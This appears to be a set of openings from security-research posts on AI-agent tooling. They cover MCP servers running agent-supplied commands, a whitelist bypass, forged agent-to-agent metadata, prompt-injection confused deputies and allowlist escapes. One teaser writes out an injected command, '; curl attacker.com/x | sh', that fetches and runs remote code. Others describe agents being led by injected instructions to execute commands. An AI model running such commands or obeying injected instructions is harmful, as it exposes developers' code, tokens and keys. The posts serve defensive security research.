FastLED is the library you reach for when you want LEDs to do cheerful things. Its repository also ships an MCP server that will run a command on your machine if an AI agent asks it to.

Suppose there is an AI agent, encountering an external instruction to run a "setup" command. The agent passes it to FastLED's MCP server, which executes it as the developer, with their source code, tokens, and SSH keys in reach. The one guardrail the project has for this lives in a different layer, matches on text, and does not recognize a Python one-liner carrying a hex-encoded payload.

In April 2026 Anthropic released Claude Mythos Preview to a closed group of companies and government agencies under Project Glasswing, a coalition that includes AWS, Apple, Cisco, CrowdStrike, Google, JPMorganChase, Microsoft, NVIDIA and Palo Alto Networks. The model finds software vulnerabilities on its own and at scale. By late May the partners had reported more than 10,000 high or critical vulnerabilities in widely used software, and a review of a sample of those findings by Anthropic and six independent security firms confirmed more than 90 percent of them as real. Anthropic has kept the model restricted and has described the ease of finding vulnerabilities, compared with the difficulty of fixing them, as the main challenge now facing cybersecurity.

mac-shell-mcp is an MCP (Model Context Protocol) server that gives AI agents a controlled shell on macOS. It ships a command whitelist containing things like ls, pwd, cat, meant to keep the agent from running anything dangerous.

Because execFile was invoked with shell: true, an attacker or a poisoned client could call a whitelisted command like pwd and append ; curl attacker.com/x | sh in the arguments. The shell interpreted the metacharacters, the whitelist never saw the injected command, and the MCP server executed it as the local user.

What is the first step of attacking an MCP server? Nearly every single one answers a question for free, to anyone who asks: what can you do here? The response, tools/list, is usually treated as a harmless discovery mechanism. We wanted to challenge that and see how far schema-based recon can really get us. A tool list is a capability disclosure, and reading it carefully, without ever calling a single tool, can tell you more about a server's risk than you'd expect. This article develops a threat model for exactly that, then we test it against 234 public MCP servers to see how much of it holds up.

Proof of exploitability, or it didn't happen​

One of the most pervasive problems in cybersecurity is false positives. Organisations receive dozens of bogus vulnerability reports about their websites every day, and security teams burn hours trudging through the noise that automated scanners generate. Worse, CISOs can't prioritise what actually matters, because a false positive is so often hard to tell apart from a real finding.

How did we go so wrong? The ingredient missing from a false positive is proof of exploitability, and a rigorous one at that. Proof of exploitability, also called chain-of-attack proof, is one of the most important elements of any vulnerability report. Without it, a penetration testing report isn't worth your money. Reliable bug bounty platforms like HackerOne place heavy emphasis on proving a vulnerability is exploitable; without that ingredient, a report simply doesn't have a case.

A vulnerability as severe as remote code execution can go from public advisory to working exploit much faster than most orgs can go from triage to patch. AI compresses the amount of time and expertise required for vulnerability research, but defenders are increasingly playing a game where the attacker gets the first (and faster) move. How do we level the playing field?

Multi-agent systems are starting to look a lot like distributed systems with personalities, tools, and very different privilege levels. In Google ADK, we found that a remote A2A peer could supply forged control metadata that influences agent routing, session state, and even conversation history, creating a path for a fresh sort of privilege escalation. As AI agents gain more autonomy and access to real tools, how much trust should a framework place in control instructions that arrive from another agent?

A security scanner reports: 3,148 authorization requests are missing PKCE.

…and suddenly that sounds like 3,148 vulnerabilities. Or is it?

Most downstream consequences of prompt injections in agentic systems are caused by confused deputy problems, where an AI model treats untrusted input as authoritative instructions. Since there's no solution for prompt injection (yet), AI agents are now entering deterministic, provenance-based trust models using integrity labels to defend against untrusted (potentially malicious) actors influencing actions. But every label-based security system lives or dies on one question: when something claims to be trusted, who's actually vouching for it? Get that part right and you have SPF, DKIM, TLS, decades of infrastructure that just works. Get it wrong and you have spoofed email, forged certs, and a rather unpleasant afternoon.

An MCP server locks down its shell tool to a single allowed binary: git. Nothing else can run, seems safe. Except that binary itself has a built-in escape hatch, and nobody checked whether the allowlist covers arguments, not just executables. It doesn't. It never really can. The allowlist swiped right on git without ever checking what it was bringing to the date.